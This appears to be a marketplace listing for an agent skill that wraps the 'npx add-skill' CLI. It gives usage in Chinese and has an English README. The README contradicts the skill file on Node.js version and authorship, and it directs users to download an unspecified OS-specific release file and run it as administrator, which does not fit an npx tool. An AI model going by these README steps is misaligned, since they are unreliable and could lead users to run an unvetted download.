Mo7amedhassan11

add-skill-installer

0
0
# Install this skill:
npx skills add Mo7amedhassan11/add-skill-installer

Or install specific skill: npx add-skill https://github.com/Mo7amedhassan11/add-skill-installer

# Description

安裝 Agent Skills 到本機。當用戶想要「安裝技能」、「新增 skill」、「從 GitHub 安裝 skill」、或「install skill from repo」時觸發此技能。

# SKILL.md


name: add-skill-installer
description: 安裝 Agent Skills 到本機。當用戶想要「安裝技能」、「新增 skill」、「從 GitHub 安裝 skill」、或「install skill from repo」時觸發此技能。
metadata:
author: kevin
version: "1.1.0"
argument-hint:


Add Skill Installer

透過 npx add-skill 從任何 Git 儲存庫安裝 Agent Skills。

支援的 Agents

Agent 識別名稱 全域技能目錄
Antigravity antigravity ~/.gemini/antigravity/skills/
Claude Code claude-code ~/.claude/skills/
Cursor cursor .cursor/skills/
Codex codex .codex/skills/
OpenCode opencode .opencode/skills/
GitHub Copilot github-copilot .github/copilot/skills/
Roo Code roo .roo/skills/

CLI 完整用法

Usage: add-skill [options] <source>

Install skills onto coding agents

Arguments:
  source                   Git repo URL, GitHub shorthand (owner/repo), or direct path to skill

Options:
  -V, --version            輸出版本號
  -g, --global             全域安裝(user-level)而非專案級
  -a, --agent <agents...>  指定目標 Agent(可指定多個)
  -s, --skill <skills...>  指定要安裝的技能名稱(可指定多個)
  -l, --list               列出儲存庫中可用的技能(不安裝)
  -y, --yes                跳過確認提示(非互動模式)
  -h, --help               顯示說明

來源格式

# GitHub 簡寫
npx add-skill vercel-labs/agent-skills

# 完整 GitHub URL
npx add-skill https://github.com/vercel-labs/agent-skills

# 指定 Repo 中的特定路徑
npx add-skill https://github.com/vercel-labs/agent-skills/tree/main/skills/frontend-design

# GitLab URL
npx add-skill https://gitlab.com/org/repo

# SSH Git URL
npx add-skill [email protected]:vercel-labs/agent-skills.git

常用指令範例

列出可用技能

npx add-skill vercel-labs/agent-skills --list

安裝所有技能到 Antigravity 全域

npx add-skill vercel-labs/agent-skills -g -a antigravity -y

安裝到多個 Agents

npx add-skill vercel-labs/agent-skills -g -a antigravity claude-code cursor -y

安裝特定技能

npx add-skill vercel-labs/agent-skills --skill frontend-design -g -a antigravity -y

安裝多個特定技能

npx add-skill vercel-labs/agent-skills --skill frontend-design nextjs-expert -g -a antigravity -y

安裝到當前專案(非全域)

npx add-skill vercel-labs/agent-skills -a antigravity -y

互動式安裝(會提示選擇)

npx add-skill vercel-labs/agent-skills

執行步驟

當用戶請求安裝技能時:

  1. 確認來源:詢問用戶想從哪個 Git 儲存庫安裝
  2. 列出技能:執行 npx add-skill <source> --list 顯示可用技能
  3. 確認範圍:詢問要安裝到全域 (-g) 或專案級
  4. 確認目標 Agent:詢問要安裝到哪些 Agent(可多選)
  5. 執行安裝:執行安裝命令並回報結果
  6. 驗證安裝:檢查技能目錄確認安裝成功

技能儲存庫推薦

來源 說明
vercel-labs/agent-skills Vercel 官方技能集
skillsmp.com Skills Marketplace
agentskills.io Agent Skills 社群

注意事項

  • 需要安裝 Node.js 18+ 和 npm
  • 首次執行會提示安裝 add-skill 套件
  • 全域技能安裝後會立即生效,無需重啟 Agent
  • 使用 -y 參數可跳過所有確認提示,適用於 CI/CD

# README.md

🎉 add-skill-installer - Simple Way to Install Agent Skills

Download add-skill-installer

🚀 Getting Started

Welcome to add-skill-installer! This guide will help you easily install Agent Skills using the npx add-skill command. No programming knowledge is needed. Just follow the steps below to get started.

📦 System Requirements

Before you begin, ensure your computer meets these requirements:

  • Operating System: Windows 10, macOS, or Linux
  • Node.js: Version 10 or higher
  • Internet Connection: Required for downloading

📥 Download & Install

  1. Visit the Releases page to find the latest version of add-skill-installer.
  2. On the Releases page, you will see a list of available versions.
  3. Choose the most recent version for download. Look for the version number and click on it to open details.
  4. Download the file suitable for your operating system. Follow the prompts to save it to your computer.
  5. After the download is complete, locate the file in your downloads folder.

⚙️ Installation Steps

To install Agent Skills, follow these steps:

  1. Open your command line interface:
  2. Windows: Press Win + R, type cmd, and hit Enter.
  3. macOS: Open Spotlight by pressing Cmd + Space, type Terminal, and hit Enter.
  4. Linux: Open the Terminal from your applications menu.

  5. In the command line, type the following command and press Enter:

npx add-skill

  1. The installer will run, downloading the necessary files. Follow any prompts that may appear on the screen.

  2. Once the installation is complete, you will see a confirmation message.

🌟 Features

  • Easy Setup: The installer simplifies the process of adding skills.
  • Compatibility: Works with various operating systems.
  • No Dependencies Required: Just run the command, and the installer takes care of the rest.
  • Quick Updates: Get the latest features and improvements easily.

❓ Troubleshooting

If you encounter issues during installation, consider these common solutions:

  • Ensure Node.js is Installed: Check that you have Node.js installed by running node -v in your command line. If it returns a version number, you're good to go. If not, download Node.js from the official site.
  • Check Your Internet Connection: Make sure you're connected to the internet, as the installer needs to download files.
  • Run as Administrator: On Windows, you may need to run the command line as an administrator. Right-click on the Command Prompt and choose "Run as administrator".

💬 Support

If you need further assistance or have questions, feel free to raise an issue on the GitHub Issues page. You can also join our community discussion on relevant platforms.

📜 License

add-skill-installer is licensed under the MIT License. You can use it freely, but do not forget to give credit to the original creators.

📣 Conclusion

You are now ready to install Agent Skills using add-skill-installer. Follow the steps in this guide, and you'll streamline your setup process. For any questions, refer to the troubleshooting section or seek help from the community.

# Supported AI Coding Agents

This skill is compatible with the SKILL.md standard and works with all major AI coding agents:

Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.